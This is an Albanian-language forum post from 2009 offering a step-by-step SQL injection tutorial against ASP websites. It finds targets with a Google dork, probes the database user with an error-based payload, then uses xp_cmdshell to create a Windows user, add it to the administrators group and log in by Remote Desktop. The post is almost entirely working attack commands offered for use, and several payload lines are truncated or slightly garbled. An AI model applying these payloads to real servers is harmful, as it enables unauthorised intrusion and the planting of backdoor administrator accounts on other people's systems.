Se pari webi duhe te jet 'dbo'
Per te gjetur weba dbo kerkoni ne google keshtu
Kodi:
inurl:/".asp?id=
Me pas e gjeni ni web psh
http://www.website.com/index.asp?id=102
Ja fshim ket 102
edhe ja shtojme ket pjesen
Kodi:
convert(int,(select+user));--
Edhe me pas bohet kshtu
Kodi:
http://www.webiste.com/index.asp=con...lect+user));--
Edhe ju del diqka error do nr nese atty e keni ne kllapa 'dbo'
ateher ja shtojme ket coden
Kodi:
id=1;exec%20master..xp_cmdshell 'net user chs chskhg /add';--
Tash bohet ksthu
Kodi:
http://www.webiste.com/index.asp?id=...r..xp_cmdshell 'net user chs chskhg /add';--
Tash useri jon shtu po per me bo admin user ja bojm kshtu
Kodi:
Tash per mu connectu ne vps ja bojm kshtu
Him
Start , run , cmd e shrkujm " ping domaini i webit " edhe na del IP
Tash shkojme Start , Programs , Accessories , Communitation , Remote desktop conection.
Edhe ja japmi IP e webit
edhe User o
chs
Passi osht chskhg
ktu nvaret qysh e shkruni ju se un kur e kom shtu ket coden
Kodi:
exec%20master..xp_cmdshell 'net localgroup administrators by chs chskhg /add';--
Dmth useri o ky me te kuqe kurse passi me te kalter
Wed Dec 16, 2009 6:17 am